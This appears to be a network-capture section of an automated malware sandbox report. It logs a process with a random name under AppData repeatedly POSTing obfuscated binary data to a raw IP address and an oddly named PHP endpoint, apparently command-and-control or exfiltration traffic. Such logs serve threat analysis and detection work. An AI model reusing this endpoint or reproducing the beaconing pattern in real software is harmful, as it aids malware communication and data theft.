                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:00.526679993 CEST2548OUTData Raw: 56 51 54 54 5a 5b 55 50 59 59 51 58 52 59 56 53 57 54 5d 5d 5a 5a 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQTTZ[UPYYQXRYVSWT]]ZZUP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',,6:&#T <>;R7'90<T=(/X#+2"B(;[/#F".[
                                                            Jul 10, 2024 09:07:00.880354881 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:00.883620024 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:00 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            57192.168.2.449799193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:01.014260054 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:01.370630980 CEST2548OUTData Raw: 56 5d 54 5d 5f 5d 55 5b 59 59 51 58 52 59 56 5a 57 53 5d 5b 5a 5a 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]T]_]U[YYQXRYVZWS][ZZUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$Z8<!9:"!#Z(>T B63?(V=;'#>4V%<+]85#F".[
                                                            Jul 10, 2024 09:07:01.675204039 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:01.683276892 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:01 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            58192.168.2.449800193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:01.807657957 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:02.158519030 CEST2548OUTData Raw: 53 50 54 50 5f 5a 55 5e 59 59 51 58 52 51 56 5a 57 55 5d 52 5a 5a 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SPTP_ZU^YYQXRQVZWU]RZZU\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$].?)5)5X41+\+>'T4'9X$<T=<">,R&86?'#,#F".[
                                                            Jul 10, 2024 09:07:02.466012955 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:02.470453024 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:02 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            59192.168.2.449801193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:02.594204903 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:02.948613882 CEST2548OUTData Raw: 56 54 54 55 5f 5d 55 5a 59 59 51 58 52 50 56 5a 57 57 5d 5b 5a 59 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTTU_]UZYYQXRPVZWW][ZYU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S';!*" 1+\).V#&'Z8)Z#4$(%>7+8#F".[


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            60192.168.2.449802193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:03.189495087 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:03.542403936 CEST1884OUTData Raw: 53 51 54 52 5f 5f 55 5d 59 59 51 58 52 5d 56 54 57 56 5d 52 5a 5a 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTR__U]YYQXR]VTWV]RZZU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$,,"%\ T+_<=+"7"'?8)+37.3&6<',#F".[ 0
                                                            Jul 10, 2024 09:07:03.901143074 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:03.905445099 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:03 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            61192.168.2.449803193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:03.312422991 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:03.667452097 CEST2548OUTData Raw: 53 56 54 53 5f 5c 50 5b 59 59 51 58 52 5b 56 53 57 50 5d 53 5a 50 55 5a 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SVTS_\P[YYQXR[VSWP]SZPUZ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\.?15*)^ "7[+3T $=]3?4V)+#".+29<7#;#F".[ (
                                                            Jul 10, 2024 09:07:04.037698030 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:04.040054083 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:03 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            62192.168.2.449804193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:04.171164036 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:04.526649952 CEST2548OUTData Raw: 56 50 51 55 5a 59 50 5c 59 59 51 58 52 5f 56 57 57 53 5d 5e 5a 5f 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPQUZYP\YYQXR_VWWS]^Z_U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\/<!_6"24)>(#$%]3<W(+/#.41+C?';5#F".[
                                                            Jul 10, 2024 09:07:05.092669964 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:05.092722893 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:04 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            63192.168.2.449805193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:05.214994907 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:05.573712111 CEST2548OUTData Raw: 56 51 54 52 5a 59 55 5f 59 59 51 58 52 5a 56 5b 57 5c 5d 53 5a 59 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQTRZYU_YYQXRZV[W\]SZYU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',<-!9_"1?+.4 =&<*;/7=<S%C>78;#F".[ ,
                                                            Jul 10, 2024 09:07:05.875197887 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:05.879343987 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:05 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            64192.168.2.449806193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:06.014585972 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:06.370790005 CEST2548OUTData Raw: 53 55 54 5d 5a 5b 50 5d 59 59 51 58 52 59 56 53 57 54 5d 5c 5a 5d 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SUT]Z[P]YYQXRYVSWT]\Z]U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$8<>U695#2?W#'%$?8S=8,4=(2:B<$8.5#F".[
                                                            Jul 10, 2024 09:07:06.693360090 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 30 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:06 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            65192.168.2.449807193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:06.834913969 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:07.183284044 CEST2548OUTData Raw: 56 56 51 56 5a 5f 55 5f 59 59 51 58 52 5c 56 51 57 55 5d 5e 5a 58 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VVQVZ_U_YYQXR\VQWU]^ZXU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X;?*T!)=Y#" ?X34$3?)]4 =#2)?']8#F".[ 4
                                                            Jul 10, 2024 09:07:07.555160046 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:07.739602089 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:07 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            66192.168.2.449808193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:07.888174057 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:08.245527983 CEST2548OUTData Raw: 56 53 54 56 5f 5d 50 59 59 59 51 58 52 5e 56 50 57 50 5d 5a 5a 5a 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTV_]PYYYQXR^VPWP]ZZZU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/<*T"92 7[(-;#'*0,R=+#[7-R$+9?$7_/5#F".[ <
                                                            Jul 10, 2024 09:07:08.545631886 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:08.549727917 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:08 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            67192.168.2.449810193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:08.673049927 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            68192.168.2.449811193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:08.926398039 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:09.276685953 CEST1884OUTData Raw: 53 57 54 57 5f 53 50 5c 59 59 51 58 52 50 56 53 57 50 5d 5d 5a 5a 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTW_SP\YYQXRPVSWP]]ZZU]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',?55Y##[?=87*'?*;4<&]!+'7;%#F".[
                                                            Jul 10, 2024 09:07:09.686394930 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:09.686438084 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:09 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            69192.168.2.449812193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:09.044775963 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:09.401736021 CEST2548OUTData Raw: 56 5d 54 5c 5f 59 50 5c 59 59 51 58 52 5d 56 57 57 50 5d 5c 5a 5f 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V]T\_YP\YYQXR]VWWP]\Z_UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'8*U5X "])>#V7"$,#>;Z#%>+';/%#F".[ 0
                                                            Jul 10, 2024 09:07:09.731517076 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:09.735829115 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:09 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            70192.168.2.449813193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:09.861110926 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:10.214340925 CEST2548OUTData Raw: 53 51 54 56 5f 5f 55 58 59 59 51 58 52 5e 56 54 57 54 5d 5d 5a 5c 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTV__UXYYQXR^VTWT]]Z\UP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',Z- )^41+]+ $.&/8V> 4 1;=>4#_.%#F".[ <
                                                            Jul 10, 2024 09:07:10.521548986 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:10.526732922 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:10 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            71192.168.2.449814193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:10.688170910 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
